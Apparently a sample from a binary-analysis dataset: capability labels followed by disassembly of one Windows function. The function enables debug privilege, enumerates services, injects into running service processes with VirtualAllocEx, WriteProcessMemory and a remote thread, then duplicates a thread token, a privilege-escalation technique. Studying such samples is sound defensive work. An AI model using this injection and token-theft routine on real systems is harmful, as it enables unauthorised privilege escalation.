Function at 0x180005a80
Capabilities:
Acquire debug privileges
Enumerate services
Query service status

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push r13
push r14
push r15
lea rbp, [rsp - 0xd8]
sub rsp, 0x1d8
xor r15d, r15d
xor eax, eax
mov rbx, rdx
lea rcx, [rbp - 0x4f]
lea r8d, [r15 + 0x7f]
xor edx, edx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov esi, r15d
mov r14d, r15d
mov r13d, r15d
mov dword [rbp - 0x80], r15d
mov qword [rbp - 0x7c], rax
mov qword [rbp - 0x74], rax
mov qword [rbp - 0x6c], rax
mov qword [rbp - 0x64], rax
mov byte [rbp - 0x50], al
call fcn.180006b90
lea rcx, [rbp + 0x34]
xor edx, edx
mov r8d, 0x90
mov dword [rbp + 0x30], r15d
call fcn.180006b90
mov rax, qword [0x180020ea8]
mov rcx, rbx
mov dword [rbp + 0x120], r15d
mov dword [rbp + 0x128], r15d
mov dword [rsp + 0x50], r15d
call qword [rax + 0x120]
mov qword [rsp + 0x60], rax
call fcn.1800013f0
cmp eax, 1
je 0x180005b2f
mov ebx, 0xa
jmp 0x180005f52
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x30], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180005b51
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180005f52
cmp dword [rbp + 0x34], 4
jne 0x180005b5c
cmp dword [rbp + 0x38], esi
je 0x180005b25
mov rax, qword [0x180020ea8]
mov edx, 0x14ee9
mov rcx, rbx
mov qword [rsp + 0x218], rdi
call qword [rax + 0xc8]
mov rax, qword [0x180020ea8]
mov edx, 0x24eeb
mov rcx, rbx
call qword [rax + 0x100]
mov edx, 0x14eea
mov rcx, rbx
mov edi, eax
mov dword [rsp + 0x54], eax
mov rax, qword [0x180020ea8]
call qword [rax + 0xc8]
mov qword [rsp + 0x68], rax
test edi, edi
je 0x180005f45
test rax, rax
je 0x180005f45
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.180006380
test eax, eax
je 0x180005bef
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x180005bfc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180005f4a
mov qword [rsp + 0x38], r15
xor r9d, r9d
lea rax, [rbp + 0x128]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x120]
lea edx, [r9 + 0x30]
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
mov rcx, rdi
mov dword [rsp + 0x20], r15d
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x180005c50
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
je 0x180005c50
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180005f2d
mov ebx, dword [rbp + 0x120]
mov ecx, ebx
call fcn.180006e0c
mov r13, rax
test rax, rax
jne 0x180005c72
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180005f2d
mov qword [rsp + 0x38], r15
lea rax, [rbp + 0x128]
mov edx, 0x30
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x120]
lea r8d, [rdx - 0x2f]
mov qword [rsp + 0x28], rax
mov r9, r13
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x180005cb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180005f2d
mov qword [rsp + 0x1d0], r12
mov ebx, 5
mov r12d, r15d
cmp dword [rbp + 0x128], esi
jbe 0x180005f25
nop word [rax + rax]
mov eax, r12d
mov r8d, 4
mov rcx, rdi
lea rdx, [rax + rax*2]
add rdx, rdx
mov rdx, qword [r13 + rdx*8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov r15, rax
test rax, rax
je 0x180005e9f
lea rax, [rbp + 0x120]
lea r8, [rbp - 0x80]
mov r9d, 0x24
xor edx, edx
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x180005e96
cmp dword [rbp - 0x7c], 4
jne 0x180005e96
mov r8d, dword [rbp - 0x64]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x180005e96
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x80
lea r9, str._t:0x_08X
lea rcx, [rbp - 0x50]
mov r8d, edx
mov dword [rsp + 0x20], eax
call fcn.180006dbc
lea rax, [rbp - 0x50]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180005d84
inc r8
xor edx, edx
mov r9d, 0x3000
mov rcx, rsi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x180005e91
lea rax, [rbp - 0x50]
or r9, 0xffffffffffffffff
nop
inc r9
cmp byte [rax + r9], 0
jne 0x180005dc0
lea r8, [rbp - 0x50]
inc r9
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005e91
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call fcn.1800061b0
mov r14, rax
test rax, rax
je 0x180005e91
mov edx, 0x7530
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x180005e91
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x180005e91
cmp dword [rsp + 0x50], 0
jne 0x180005e91
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rsp + 0x48]
xor r8d, r8d
mov rcx, rax
mov edx, 0xf00ff
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x180005e91
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x58]
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_DuplicateToken]
test eax, eax
je 0x180005e91
mov rax, qword [0x180020ea8]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rbp + 0x110]
call qword [rax + 0x180]
xor ebx, ebx
mov rdi, qword [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x180005ec1
lea rdx, [rsp + 0x78]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x180005ebf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
test r14, r14
je 0x180005ee4
lea rdx, [rsp + 0x74]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x180005ee1
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r14d, r14d
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x180005f11
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x180005f08
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x48], 0
test ebx, ebx
je 0x180005f25
inc r12d
cmp r12d, dword [rbp + 0x128]
jb 0x180005ce0
mov r12, qword [rsp + 0x1d0]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test r13, r13
je 0x180005f4a
mov rcx, r13
call fcn.1800064cc
jmp 0x180005f4a
mov ebx, 0xa0
mov rdi, qword [rsp + 0x218]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
add rsp, 0x1d8
pop r15
pop r14
pop r13
pop rsi
pop rbx
pop rbp
ret